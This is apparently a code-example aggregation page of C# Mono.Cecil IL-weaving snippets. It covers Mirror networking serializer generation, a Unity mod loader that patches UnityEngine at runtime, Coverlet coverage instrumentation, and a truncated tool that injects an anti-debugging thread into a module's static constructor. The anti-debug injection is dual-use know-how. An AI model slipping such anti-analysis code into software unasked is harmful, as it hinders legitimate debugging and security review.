            serWorker.Append(serWorker.Create(OpCodes.Brfalse, initialStateLabel));

            foreach (FieldDefinition syncVar in syncVars)
            {
                DeserializeField(syncVar, serWorker, serialize);
            }

            serWorker.Append(serWorker.Create(OpCodes.Ret));

            // Generates: end if (initialState);
            serWorker.Append(initialStateLabel);

            // get dirty bits
            serWorker.Append(serWorker.Create(OpCodes.Ldarg_1));
            serWorker.Append(serWorker.Create(OpCodes.Call, Readers.GetReadFunc(Weaver.uint64Type)));
            serWorker.Append(serWorker.Create(OpCodes.Stloc_0));

            // conditionally read each syncvar
            // start at number of syncvars in parent
            int dirtyBit = Weaver.GetSyncVarStart(netBehaviourSubclass.BaseType.FullName);

            foreach (FieldDefinition syncVar in syncVars)
            {
                Instruction varLabel = serWorker.Create(OpCodes.Nop);

                // check if dirty bit is set
                serWorker.Append(serWorker.Create(OpCodes.Ldloc_0));
                serWorker.Append(serWorker.Create(OpCodes.Ldc_I8, 1L << dirtyBit));
                serWorker.Append(serWorker.Create(OpCodes.And));
                serWorker.Append(serWorker.Create(OpCodes.Brfalse, varLabel));

                DeserializeField(syncVar, serWorker, serialize);

                serWorker.Append(varLabel);
                dirtyBit += 1;
            }

            if (Weaver.GenerateLogErrors)
            {
                serWorker.Append(serWorker.Create(OpCodes.Ldstr, "Injected Deserialize " + netBehaviourSubclass.Name));
                serWorker.Append(serWorker.Create(OpCodes.Call, Weaver.logErrorReference));
            }

            serWorker.Append(serWorker.Create(OpCodes.Ret));
            netBehaviourSubclass.Methods.Add(serialize);
        }
예제 #12
0
        void GenerateSerialization()
        {
            Weaver.DLog(netBehaviourSubclass, "  GenerateSerialization");

            if (netBehaviourSubclass.GetMethod("OnSerialize") != null)
            {
                return;
            }

            if (syncVars.Count == 0)
            {
                // no synvars,  no need for custom OnSerialize
                return;
            }

            var serialize = new MethodDefinition("OnSerialize",
                                                 MethodAttributes.Public | MethodAttributes.Virtual | MethodAttributes.HideBySig,
                                                 Weaver.boolType);

            serialize.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkWriterType)));
            serialize.Parameters.Add(new ParameterDefinition("forceAll", ParameterAttributes.None, Weaver.boolType));
            ILProcessor serWorker = serialize.Body.GetILProcessor();

            serialize.Body.InitLocals = true;

            // loc_0,  this local variable is to determine if any variable was dirty
            var dirtyLocal = new VariableDefinition(Weaver.boolType);

            serialize.Body.Variables.Add(dirtyLocal);

            MethodReference baseSerialize = Resolvers.ResolveMethodInParents(netBehaviourSubclass.BaseType, Weaver.CurrentAssembly, "OnSerialize");

            if (baseSerialize != null)
            {
                // base
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                // writer
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_1));
                // forceAll
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_2));
                serWorker.Append(serWorker.Create(OpCodes.Call, baseSerialize));
                // set dirtyLocal to result of base.OnSerialize()
                serWorker.Append(serWorker.Create(OpCodes.Stloc_0));
            }

            // Generates: if (forceAll);
            Instruction initialStateLabel = serWorker.Create(OpCodes.Nop);

            // forceAll
            serWorker.Append(serWorker.Create(OpCodes.Ldarg_2));
            serWorker.Append(serWorker.Create(OpCodes.Brfalse, initialStateLabel));

            foreach (FieldDefinition syncVar in syncVars)
            {
                // Generates a writer call for each sync variable
                // writer
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_1));
                // this
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar));
                MethodReference writeFunc = Writers.GetWriteFunc(syncVar.FieldType);
                if (writeFunc != null)
                {
                    serWorker.Append(serWorker.Create(OpCodes.Call, writeFunc));
                }
                else
                {
                    Weaver.Error($"{syncVar} has unsupported type. Use a supported Mirror type instead");
                    return;
                }
            }

            // always return true if forceAll

            // Generates: return true
            serWorker.Append(serWorker.Create(OpCodes.Ldc_I4_1));
            serWorker.Append(serWorker.Create(OpCodes.Ret));

            // Generates: end if (forceAll);
            serWorker.Append(initialStateLabel);

            // write dirty bits before the data fields
            // Generates: writer.WritePackedUInt64 (base.get_syncVarDirtyBits ());
            // writer
            serWorker.Append(serWorker.Create(OpCodes.Ldarg_1));
            // base
            serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
            serWorker.Append(serWorker.Create(OpCodes.Call, Weaver.NetworkBehaviourDirtyBitsReference));
            serWorker.Append(serWorker.Create(OpCodes.Call, Writers.GetWriteFunc(Weaver.uint64Type)));

            // generate a writer call for any dirty variable in this class

            // start at number of syncvars in parent
            int dirtyBit = Weaver.GetSyncVarStart(netBehaviourSubclass.BaseType.FullName);

            foreach (FieldDefinition syncVar in syncVars)
            {
                Instruction varLabel = serWorker.Create(OpCodes.Nop);

                // Generates: if ((base.get_syncVarDirtyBits() & 1uL) != 0uL)
                // base
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                serWorker.Append(serWorker.Create(OpCodes.Call, Weaver.NetworkBehaviourDirtyBitsReference));
                // 8 bytes = long
                serWorker.Append(serWorker.Create(OpCodes.Ldc_I8, 1L << dirtyBit));
                serWorker.Append(serWorker.Create(OpCodes.And));
                serWorker.Append(serWorker.Create(OpCodes.Brfalse, varLabel));

                // Generates a call to the writer for that field
                // writer
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_1));
                // base
                serWorker.Append(serWorker.Create(OpCodes.Ldarg_0));
                serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar));

                MethodReference writeFunc = Writers.GetWriteFunc(syncVar.FieldType);
                if (writeFunc != null)
                {
                    serWorker.Append(serWorker.Create(OpCodes.Call, writeFunc));
                }
                else
                {
                    Weaver.Error($"{syncVar} has unsupported type. Use a supported Mirror type instead");
                    return;
                }

                // something was dirty
                serWorker.Append(serWorker.Create(OpCodes.Ldc_I4_1));
                // set dirtyLocal to true
                serWorker.Append(serWorker.Create(OpCodes.Stloc_0));

                serWorker.Append(varLabel);
                dirtyBit += 1;
            }

            if (Weaver.GenerateLogErrors)
            {
                serWorker.Append(serWorker.Create(OpCodes.Ldstr, "Injected Serialize " + netBehaviourSubclass.Name));
                serWorker.Append(serWorker.Create(OpCodes.Call, Weaver.logErrorReference));
            }

            // generate: return dirtyLocal
            serWorker.Append(serWorker.Create(OpCodes.Ldloc_0));
            serWorker.Append(serWorker.Create(OpCodes.Ret));
            netBehaviourSubclass.Methods.Add(serialize);
        }
예제 #13
0
        void GenerateConstants()
        {
            if (commands.Count == 0 && clientRpcs.Count == 0 && targetRpcs.Count == 0 && eventRpcs.Count == 0 && syncObjects.Count == 0)
            {
                return;
            }

            Weaver.DLog(netBehaviourSubclass, "  GenerateConstants ");

            // find static constructor
            MethodDefinition cctor      = netBehaviourSubclass.GetMethod(".cctor");
            bool             cctorFound = cctor != null;

            if (cctor != null)
            {
                // remove the return opcode from end of function. will add our own later.
                if (cctor.Body.Instructions.Count != 0)
                {
                    Instruction retInstr = cctor.Body.Instructions[cctor.Body.Instructions.Count - 1];
                    if (retInstr.OpCode == OpCodes.Ret)
                    {
                        cctor.Body.Instructions.RemoveAt(cctor.Body.Instructions.Count - 1);
                    }
                    else
                    {
                        Weaver.Error($"{netBehaviourSubclass} has invalid class constructor");
                        return;
                    }
                }
            }
            else
            {
                // make one!
                cctor = new MethodDefinition(".cctor", MethodAttributes.Private |
                                             MethodAttributes.HideBySig |
                                             MethodAttributes.SpecialName |
                                             MethodAttributes.RTSpecialName |
                                             MethodAttributes.Static,
                                             Weaver.voidType);
            }

            // find instance constructor
            MethodDefinition ctor = netBehaviourSubclass.GetMethod(".ctor");

            if (ctor == null)
            {
                Weaver.Error($"{netBehaviourSubclass} has invalid constructor");
                return;
            }

            Instruction ret = ctor.Body.Instructions[ctor.Body.Instructions.Count - 1];

            if (ret.OpCode == OpCodes.Ret)
            {
                ctor.Body.Instructions.RemoveAt(ctor.Body.Instructions.Count - 1);
            }
            else
            {
                Weaver.Error($"{netBehaviourSubclass} has invalid constructor");
                return;
            }

            ILProcessor ctorWorker  = ctor.Body.GetILProcessor();
            ILProcessor cctorWorker = cctor.Body.GetILProcessor();

            for (int i = 0; i < commands.Count; ++i)
            {
                GenerateRegisterCommandDelegate(cctorWorker, Weaver.registerCommandDelegateReference, commandInvocationFuncs[i], commands[i].Name);
            }

            for (int i = 0; i < clientRpcs.Count; ++i)
            {
                GenerateRegisterCommandDelegate(cctorWorker, Weaver.registerRpcDelegateReference, clientRpcInvocationFuncs[i], clientRpcs[i].Name);
            }

            for (int i = 0; i < targetRpcs.Count; ++i)
            {
                GenerateRegisterCommandDelegate(cctorWorker, Weaver.registerRpcDelegateReference, targetRpcInvocationFuncs[i], targetRpcs[i].Name);
            }

            for (int i = 0; i < eventRpcs.Count; ++i)
            {
                GenerateRegisterCommandDelegate(cctorWorker, Weaver.registerEventDelegateReference, eventRpcInvocationFuncs[i], eventRpcs[i].Name);
            }

            foreach (FieldDefinition fd in syncObjects)
            {
                SyncObjectInitializer.GenerateSyncObjectInitializer(ctorWorker, fd);
            }

            cctorWorker.Append(cctorWorker.Create(OpCodes.Ret));
            if (!cctorFound)
            {
                netBehaviourSubclass.Methods.Add(cctor);
            }

            // finish ctor
            ctorWorker.Append(ctorWorker.Create(OpCodes.Ret));

            // in case class had no cctor, it might have BeforeFieldInit, so injected cctor would be called too late
            netBehaviourSubclass.Attributes &= ~TypeAttributes.BeforeFieldInit;
        }
예제 #14
0
 public static void WriteRecycleWriter(ILProcessor worker)
 {
     // NetworkWriterPool.Recycle(writer);
     worker.Append(worker.Create(OpCodes.Ldloc_0));
     worker.Append(worker.Create(OpCodes.Call, Weaver.RecycleWriterReference));
 }
예제 #15
0
        void GenerateSerialization(ref bool WeavingFailed)
        {
            const string SerializeMethodName = "SerializeSyncVars";

            if (netBehaviourSubclass.GetMethod(SerializeMethodName) != null)
            {
                return;
            }

            if (syncVars.Count == 0)
            {
                // no synvars,  no need for custom OnSerialize
                return;
            }

            MethodDefinition serialize = new MethodDefinition(SerializeMethodName,
                                                              MethodAttributes.Public | MethodAttributes.Virtual | MethodAttributes.HideBySig,
                                                              weaverTypes.Import <bool>());

            serialize.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, weaverTypes.Import <NetworkWriter>()));
            serialize.Parameters.Add(new ParameterDefinition("forceAll", ParameterAttributes.None, weaverTypes.Import <bool>()));
            ILProcessor worker = serialize.Body.GetILProcessor();

            serialize.Body.InitLocals = true;

            // loc_0,  this local variable is to determine if any variable was dirty
            VariableDefinition dirtyLocal = new VariableDefinition(weaverTypes.Import <bool>());

            serialize.Body.Variables.Add(dirtyLocal);

            MethodReference baseSerialize = Resolvers.TryResolveMethodInParents(netBehaviourSubclass.BaseType, assembly, SerializeMethodName);

            if (baseSerialize != null)
            {
                // base
                worker.Emit(OpCodes.Ldarg_0);
                // writer
                worker.Emit(OpCodes.Ldarg_1);
                // forceAll
                worker.Emit(OpCodes.Ldarg_2);
                worker.Emit(OpCodes.Call, baseSerialize);
                // set dirtyLocal to result of base.OnSerialize()
                worker.Emit(OpCodes.Stloc_0);
            }

            // Generates: if (forceAll);
            Instruction initialStateLabel = worker.Create(OpCodes.Nop);

            // forceAll
            worker.Emit(OpCodes.Ldarg_2);
            worker.Emit(OpCodes.Brfalse, initialStateLabel);

            foreach (FieldDefinition syncVarDef in syncVars)
            {
                FieldReference syncVar = syncVarDef;
                if (netBehaviourSubclass.HasGenericParameters)
                {
                    syncVar = syncVarDef.MakeHostInstanceGeneric();
                }
                // Generates a writer call for each sync variable
                // writer
                worker.Emit(OpCodes.Ldarg_1);
                // this
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldfld, syncVar);
                MethodReference writeFunc = writers.GetWriteFunc(syncVar.FieldType, ref WeavingFailed);
                if (writeFunc != null)
                {
                    worker.Emit(OpCodes.Call, writeFunc);
                }
                else
                {
                    Log.Error($"{syncVar.Name} has unsupported type. Use a supported Mirror type instead", syncVar);
                    WeavingFailed = true;
                    return;
                }
            }

            // always return true if forceAll

            // Generates: return true
            worker.Emit(OpCodes.Ldc_I4_1);
            worker.Emit(OpCodes.Ret);

            // Generates: end if (forceAll);
            worker.Append(initialStateLabel);

            // write dirty bits before the data fields
            // Generates: writer.WritePackedUInt64 (base.get_syncVarDirtyBits ());
            // writer
            worker.Emit(OpCodes.Ldarg_1);
            // base
            worker.Emit(OpCodes.Ldarg_0);
            worker.Emit(OpCodes.Call, weaverTypes.NetworkBehaviourDirtyBitsReference);
            MethodReference writeUint64Func = writers.GetWriteFunc(weaverTypes.Import <ulong>(), ref WeavingFailed);

            worker.Emit(OpCodes.Call, writeUint64Func);

            // generate a writer call for any dirty variable in this class

            // start at number of syncvars in parent
            int dirtyBit = syncVarAccessLists.GetSyncVarStart(netBehaviourSubclass.BaseType.FullName);

            foreach (FieldDefinition syncVarDef in syncVars)
            {
                FieldReference syncVar = syncVarDef;
                if (netBehaviourSubclass.HasGenericParameters)
                {
                    syncVar = syncVarDef.MakeHostInstanceGeneric();
                }
                Instruction varLabel = worker.Create(OpCodes.Nop);

                // Generates: if ((base.get_syncVarDirtyBits() & 1uL) != 0uL)
                // base
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Call, weaverTypes.NetworkBehaviourDirtyBitsReference);
                // 8 bytes = long
                worker.Emit(OpCodes.Ldc_I8, 1L << dirtyBit);
                worker.Emit(OpCodes.And);
                worker.Emit(OpCodes.Brfalse, varLabel);

                // Generates a call to the writer for that field
                // writer
                worker.Emit(OpCodes.Ldarg_1);
                // base
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldfld, syncVar);

                MethodReference writeFunc = writers.GetWriteFunc(syncVar.FieldType, ref WeavingFailed);
                if (writeFunc != null)
                {
                    worker.Emit(OpCodes.Call, writeFunc);
                }
                else
                {
                    Log.Error($"{syncVar.Name} has unsupported type. Use a supported Mirror type instead", syncVar);
                    WeavingFailed = true;
                    return;
                }

                // something was dirty
                worker.Emit(OpCodes.Ldc_I4_1);
                // set dirtyLocal to true
                worker.Emit(OpCodes.Stloc_0);

                worker.Append(varLabel);
                dirtyBit += 1;
            }

            // add a log message if needed for debugging
            //worker.Emit(OpCodes.Ldstr, $"Injected Serialize {netBehaviourSubclass.Name}");
            //worker.Emit(OpCodes.Call, WeaverTypes.logErrorReference);

            // generate: return dirtyLocal
            worker.Emit(OpCodes.Ldloc_0);
            worker.Emit(OpCodes.Ret);
            netBehaviourSubclass.Methods.Add(serialize);
        }
예제 #16
0
        public static void Main(string[] args)
        {
            try
            {
                ManagedPath = Environment.GetEnvironmentVariable("DOORSTOP_MANAGED_FOLDER_DIR");
                GamePath    = Path.GetFullPath(ManagedPath + @"\..\..\");

                string ConfigPath = Path.GetFullPath(Path.Combine(ManagedPath, @"..\..\UULoader\config.json"));
                if (File.Exists(ConfigPath))
                {
                    string lines = File.ReadAllText(ConfigPath);
                    config = JsonConvert.DeserializeObject <Config>(lines);
                }
                else
                {
                    config = new Config();
                }


                using (AssemblyDefinition mainDef = AssemblyDefinition.ReadAssembly(GamePath + "UULoader\\UULoader.dll"))
                {
                    if (config.useDefault)
                    {
                        string dll = "UnityEngine.CoreModule.dll";
                        if (!File.Exists(Path.Combine(ManagedPath, "UnityEngine.CoreModule.dll")))
                        {
                            dll = "UnityEngine.dll";
                        }

                        using (AssemblyDefinition unityCoreDef =
                                   AssemblyDefinition.ReadAssembly(Path.Combine(ManagedPath, dll)))
                        {
                            TypeDefinition applicationDef =
                                unityCoreDef.MainModule.Types.FirstOrDefault((TypeDefinition x) =>
                                                                             x.Name == "Application");

                            MethodDefinition startInfo = mainDef.MainModule.Types
                                                         .First((TypeDefinition x) => x.Name == "UULoaderMain")
                                                         .Methods.First((MethodDefinition x) => x.Name == "Start");
                            MethodReference startMethod = unityCoreDef.MainModule.ImportReference(startInfo);

                            MethodDefinition constructor =
                                applicationDef.Methods.FirstOrDefault((MethodDefinition m) =>
                                                                      m.IsConstructor && m.IsStatic);
                            if (constructor == null)
                            {
                                constructor = new MethodDefinition(".cctor",
                                                                   MethodAttributes.Private | MethodAttributes.HideBySig |
                                                                   MethodAttributes.SpecialName |
                                                                   MethodAttributes.RTSpecialName | MethodAttributes.Static,
                                                                   unityCoreDef.MainModule.ImportReference(typeof(void)));
                                applicationDef.Methods.Add(constructor);
                                ILProcessor ilprocessor = constructor.Body.GetILProcessor();
                                ilprocessor.Append(ilprocessor.Create(OpCodes.Ret));
                            }

                            ILProcessor ilprocessor2 = constructor.Body.GetILProcessor();
                            Instruction instruction  = ilprocessor2.Body.Instructions.First <Instruction>();
                            ilprocessor2.InsertBefore(instruction, ilprocessor2.Create(OpCodes.Call, startMethod));

                            using (MemoryStream memoryStream = new MemoryStream())
                            {
                                unityCoreDef.Write(memoryStream);
                                Assembly.Load(memoryStream.ToArray());
                            }
                        }
                    }
                    else
                    {
                        using (AssemblyDefinition unityCoreDef =
                                   AssemblyDefinition.ReadAssembly(Path.Combine(ManagedPath, config.assembly)))
                        {
                            TypeDefinition applicationDef =
                                unityCoreDef.MainModule.Types.FirstOrDefault((TypeDefinition x) =>
                                                                             x.Name == config.type);

                            MethodDefinition startInfo = mainDef.MainModule.Types
                                                         .First((TypeDefinition x) => x.Name == "UULoaderMain")
                                                         .Methods.First((MethodDefinition x) => x.Name == "Start");
                            MethodReference startMethod = unityCoreDef.MainModule.ImportReference(startInfo);

                            MethodDefinition constructor =
                                applicationDef.Methods.FirstOrDefault((MethodDefinition m) =>
                                                                      m.Name == config.method);

                            ILProcessor ilprocessor2 = constructor.Body.GetILProcessor();
                            Instruction instruction  = ilprocessor2.Body.Instructions.First <Instruction>();
                            ilprocessor2.InsertBefore(instruction, ilprocessor2.Create(OpCodes.Call, startMethod));

                            using (MemoryStream memoryStream = new MemoryStream())
                            {
                                unityCoreDef.Write(memoryStream);
                                Assembly.Load(memoryStream.ToArray());
                            }
                        }
                    }

                    using (MemoryStream memoryStream = new MemoryStream())
                    {
                        mainDef.Write(memoryStream);
                        Assembly.Load(memoryStream.ToArray());
                    }
                }
            }
            catch (Exception e)
            {
                using (TextWriter textWriter = File.CreateText("ERROR.txt"))
                {
                    textWriter.WriteLine(e);
                    textWriter.Flush();
                }
            }
        }
예제 #17
0
        void DeserializeField(FieldDefinition syncVar, ILProcessor worker, ref bool WeavingFailed)
        {
            // put 'this.' onto stack for 'this.syncvar' below
            worker.Append(worker.Create(OpCodes.Ldarg_0));

            // push 'ref T this.field'
            worker.Emit(OpCodes.Ldarg_0);
            // if the netbehaviour class is generic, we need to make the field reference generic as well for correct IL
            if (netBehaviourSubclass.HasGenericParameters)
            {
                worker.Emit(OpCodes.Ldflda, syncVar.MakeHostInstanceGeneric());
            }
            else
            {
                worker.Emit(OpCodes.Ldflda, syncVar);
            }

            // hook? then push 'new Action<T,T>(Hook)' onto stack
            MethodDefinition hookMethod = syncVarAttributeProcessor.GetHookMethod(netBehaviourSubclass, syncVar, ref WeavingFailed);

            if (hookMethod != null)
            {
                syncVarAttributeProcessor.GenerateNewActionFromHookMethod(syncVar, worker, hookMethod);
            }
            // otherwise push 'null' as hook
            else
            {
                worker.Emit(OpCodes.Ldnull);
            }

            // call GeneratedSyncVarDeserialize<T>.
            // special cases for GameObject/NetworkIdentity/NetworkBehaviour
            // passing netId too for persistence.
            if (syncVar.FieldType.Is <UnityEngine.GameObject>())
            {
                // reader
                worker.Emit(OpCodes.Ldarg_1);

                // GameObject setter needs one more parameter: netId field ref
                FieldDefinition netIdField = syncVarNetIds[syncVar];
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldflda, netIdField);
                worker.Emit(OpCodes.Call, weaverTypes.generatedSyncVarDeserialize_GameObject);
            }
            else if (syncVar.FieldType.Is <NetworkIdentity>())
            {
                // reader
                worker.Emit(OpCodes.Ldarg_1);

                // NetworkIdentity deserialize needs one more parameter: netId field ref
                FieldDefinition netIdField = syncVarNetIds[syncVar];
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldflda, netIdField);
                worker.Emit(OpCodes.Call, weaverTypes.generatedSyncVarDeserialize_NetworkIdentity);
            }
            // TODO this only uses the persistent netId for types DERIVED FROM NB.
            //      not if the type is just 'NetworkBehaviour'.
            //      this is what original implementation did too. fix it after.
            else if (syncVar.FieldType.IsDerivedFrom <NetworkBehaviour>())
            {
                // reader
                worker.Emit(OpCodes.Ldarg_1);

                // NetworkIdentity deserialize needs one more parameter: netId field ref
                // (actually its a NetworkBehaviourSyncVar type)
                FieldDefinition netIdField = syncVarNetIds[syncVar];
                worker.Emit(OpCodes.Ldarg_0);
                worker.Emit(OpCodes.Ldflda, netIdField);
                // make generic version of GeneratedSyncVarSetter_NetworkBehaviour<T>
                MethodReference getFunc = weaverTypes.generatedSyncVarDeserialize_NetworkBehaviour_T.MakeGeneric(assembly.MainModule, syncVar.FieldType);
                worker.Emit(OpCodes.Call, getFunc);
            }
            else
            {
                // T value = reader.ReadT();
                // this is still in IL because otherwise weaver generated
                // readers/writers don't seem to work in tests.
                // besides, this also avoids reader.Read<T> overhead.
                MethodReference readFunc = readers.GetReadFunc(syncVar.FieldType, ref WeavingFailed);
                if (readFunc == null)
                {
                    Log.Error($"{syncVar.Name} has unsupported type. Use a supported Mirror type instead", syncVar);
                    WeavingFailed = true;
                    return;
                }
                // reader. for 'reader.Read()' below
                worker.Emit(OpCodes.Ldarg_1);
                // reader.Read()
                worker.Emit(OpCodes.Call, readFunc);

                // make generic version of GeneratedSyncVarDeserialize<T>
                MethodReference generic = weaverTypes.generatedSyncVarDeserialize.MakeGeneric(assembly.MainModule, syncVar.FieldType);
                worker.Emit(OpCodes.Call, generic);
            }
        }
예제 #18
0
        static MethodDefinition GenerateStructWriterFunction(TypeReference variable, int recursionCount)
        {
            if (recursionCount > MaxRecursionCount)
            {
                Weaver.Error($"{variable} can't be serialized because it references itself");
                return(null);
            }

            if (!Weaver.IsValidTypeToGenerate(variable.Resolve()))
            {
                return(null);
            }

            string functionName = "_Write" + variable.Name + "_";

            if (variable.DeclaringType != null)
            {
                functionName += variable.DeclaringType.Name;
            }
            else
            {
                functionName += "None";
            }
            // create new writer for this type
            MethodDefinition writerFunc = new MethodDefinition(functionName,
                                                               MethodAttributes.Public |
                                                               MethodAttributes.Static |
                                                               MethodAttributes.HideBySig,
                                                               Weaver.voidType);

            writerFunc.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkWriterType)));
            writerFunc.Parameters.Add(new ParameterDefinition("value", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(variable)));

            ILProcessor worker = writerFunc.Body.GetILProcessor();

            uint fields = 0;

            foreach (FieldDefinition field in variable.Resolve().Fields)
            {
                if (field.IsStatic || field.IsPrivate)
                {
                    continue;
                }

                if (field.FieldType.Resolve().HasGenericParameters)
                {
                    Weaver.Error($"{field} has unsupported type. Create a derived class instead of using generics");
                    return(null);
                }

                if (field.FieldType.Resolve().IsInterface)
                {
                    Weaver.Error($"{field} has unsupported type. Use a concrete class instead of an interface");
                    return(null);
                }

                MethodReference writeFunc = GetWriteFunc(field.FieldType, recursionCount + 1);
                if (writeFunc != null)
                {
                    fields++;
                    worker.Append(worker.Create(OpCodes.Ldarg_0));
                    worker.Append(worker.Create(OpCodes.Ldarg_1));
                    worker.Append(worker.Create(OpCodes.Ldfld, field));
                    worker.Append(worker.Create(OpCodes.Call, writeFunc));
                }
                else
                {
                    Weaver.Error($"{field} has unsupported type. Use a type supported by Mirror instead");
                    return(null);
                }
            }
            if (fields == 0)
            {
                Log.Warning($" {variable} has no no public or non-static fields to serialize");
            }
            worker.Append(worker.Create(OpCodes.Ret));
            return(writerFunc);
        }
예제 #19
0
        private void AddCustomModuleTrackerToModule(ModuleDefinition module)
        {
            using (AssemblyDefinition coverletInstrumentationAssembly = AssemblyDefinition.ReadAssembly(typeof(ModuleTrackerTemplate).Assembly.Location))
            {
                TypeDefinition moduleTrackerTemplate = coverletInstrumentationAssembly.MainModule.GetType(
                    "Coverlet.Core.Instrumentation", nameof(ModuleTrackerTemplate));

                _customTrackerTypeDef = new TypeDefinition(
                    "Coverlet.Core.Instrumentation.Tracker", Path.GetFileNameWithoutExtension(module.Name) + "_" + _identifier, moduleTrackerTemplate.Attributes);

                _customTrackerTypeDef.BaseType = module.TypeSystem.Object;
                foreach (FieldDefinition fieldDef in moduleTrackerTemplate.Fields)
                {
                    var fieldClone = new FieldDefinition(fieldDef.Name, fieldDef.Attributes, fieldDef.FieldType);
                    fieldClone.FieldType = module.ImportReference(fieldDef.FieldType);

                    _customTrackerTypeDef.Fields.Add(fieldClone);

                    if (fieldClone.Name == nameof(ModuleTrackerTemplate.HitsArray))
                    {
                        _customTrackerHitsArray = fieldClone;
                    }
                    else if (fieldClone.Name == nameof(ModuleTrackerTemplate.HitsFilePath))
                    {
                        _customTrackerHitsFilePath = fieldClone;
                    }
                    else if (fieldClone.Name == nameof(ModuleTrackerTemplate.SingleHit))
                    {
                        _customTrackerSingleHit = fieldClone;
                    }
                }

                foreach (MethodDefinition methodDef in moduleTrackerTemplate.Methods)
                {
                    MethodDefinition methodOnCustomType = new MethodDefinition(methodDef.Name, methodDef.Attributes, methodDef.ReturnType);

                    foreach (var parameter in methodDef.Parameters)
                    {
                        methodOnCustomType.Parameters.Add(new ParameterDefinition(module.ImportReference(parameter.ParameterType)));
                    }

                    foreach (var variable in methodDef.Body.Variables)
                    {
                        methodOnCustomType.Body.Variables.Add(new VariableDefinition(module.ImportReference(variable.VariableType)));
                    }

                    methodOnCustomType.Body.InitLocals = methodDef.Body.InitLocals;

                    ILProcessor ilProcessor = methodOnCustomType.Body.GetILProcessor();
                    if (methodDef.Name == ".cctor")
                    {
                        _customTrackerClassConstructorIl = ilProcessor;
                    }

                    foreach (Instruction instr in methodDef.Body.Instructions)
                    {
                        if (instr.Operand is MethodReference methodReference)
                        {
                            if (!methodReference.FullName.Contains(moduleTrackerTemplate.Namespace))
                            {
                                // External method references, just import then
                                instr.Operand = module.ImportReference(methodReference);
                            }
                            else
                            {
                                // Move to the custom type
                                var updatedMethodReference = new MethodReference(methodReference.Name, methodReference.ReturnType, _customTrackerTypeDef);
                                foreach (var parameter in methodReference.Parameters)
                                {
                                    updatedMethodReference.Parameters.Add(new ParameterDefinition(parameter.Name, parameter.Attributes, module.ImportReference(parameter.ParameterType)));
                                }

                                instr.Operand = updatedMethodReference;
                            }
                        }
                        else if (instr.Operand is FieldReference fieldReference)
                        {
                            instr.Operand = _customTrackerTypeDef.Fields.Single(fd => fd.Name == fieldReference.Name);
                        }
                        else if (instr.Operand is TypeReference typeReference)
                        {
                            instr.Operand = module.ImportReference(typeReference);
                        }

                        ilProcessor.Append(instr);
                    }

                    foreach (var handler in methodDef.Body.ExceptionHandlers)
                    {
                        if (handler.CatchType != null)
                        {
                            handler.CatchType = module.ImportReference(handler.CatchType);
                        }

                        methodOnCustomType.Body.ExceptionHandlers.Add(handler);
                    }

                    _customTrackerTypeDef.Methods.Add(methodOnCustomType);
                }

                module.Types.Add(_customTrackerTypeDef);
            }

            Debug.Assert(_customTrackerHitsArray != null);
            Debug.Assert(_customTrackerClassConstructorIl != null);
        }
예제 #20
0
파일: Form1.cs 프로젝트: dot3v1L/AntiDebug
        private void AntiDebag(string path, string outPath)
        {
            AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(path);
            TypeDefinition     t        = assembly.MainModule.GetType("<Module>");
            MethodDefinition   cctor    = null; // <Module>.cctor

            foreach (MethodDefinition m in t.Methods)
            {
                if (m.Name == ".cctor" && m.IsConstructor)
                {
                    cctor = m;
                    break;
                }
            }
            if (cctor == null) // если ни один cctor не найден, создать новый
            {
                cctor = new MethodDefinition(
                    ".cctor",
                    Mono.Cecil.MethodAttributes.Private |
                    Mono.Cecil.MethodAttributes.Static |
                    Mono.Cecil.MethodAttributes.HideBySig |
                    Mono.Cecil.MethodAttributes.SpecialName |
                    Mono.Cecil.MethodAttributes.RTSpecialName
                    , assembly.MainModule.Import(typeof(void)));
                t.Methods.Add(cctor);
            }
            if (cctor.Body.Instructions.Count > 0 && cctor.Body.Instructions.Last <Instruction>().OpCode == OpCodes.Ret)
            {
                cctor.Body.Instructions.Remove(cctor.Body.Instructions.Last <Instruction>()); // если cctor уже существовал удалить последний
            }
            MethodDefinition AntiDebug = new MethodDefinition(                                // Метод antidebug (управляемый), который будет выполнен в новом потоке
                "AntiDebug",
                Mono.Cecil.MethodAttributes.Static |
                Mono.Cecil.MethodAttributes.Private,
                assembly.MainModule.Import(typeof(void)));

            ILProcessor CtorProcessor = cctor.Body.GetILProcessor();

            CtorProcessor.Append(CtorProcessor.Create(OpCodes.Ldnull));
            CtorProcessor.Append(CtorProcessor.Create(OpCodes.Ldftn, AntiDebug));
            CtorProcessor.Append(CtorProcessor.Create(OpCodes.Newobj,
                                                      assembly.MainModule.Import(typeof(ThreadStart).GetConstructor(new Type[] { typeof(object), typeof(IntPtr) })))); // если указано несколько методов с тем же именем Тип  параметр
            CtorProcessor.Append(CtorProcessor.Create(OpCodes.Newobj, assembly.MainModule.Import(typeof(Thread).GetConstructor(new Type[] { typeof(ThreadStart) }))));
            CtorProcessor.Append(CtorProcessor.Create(OpCodes.Call, assembly.MainModule.Import(typeof(Thread).GetMethod("Start", Type.EmptyTypes))));
            CtorProcessor.Append(CtorProcessor.Create(OpCodes.Ret));

            ILProcessor AntiProcessor = AntiDebug.Body.GetILProcessor();
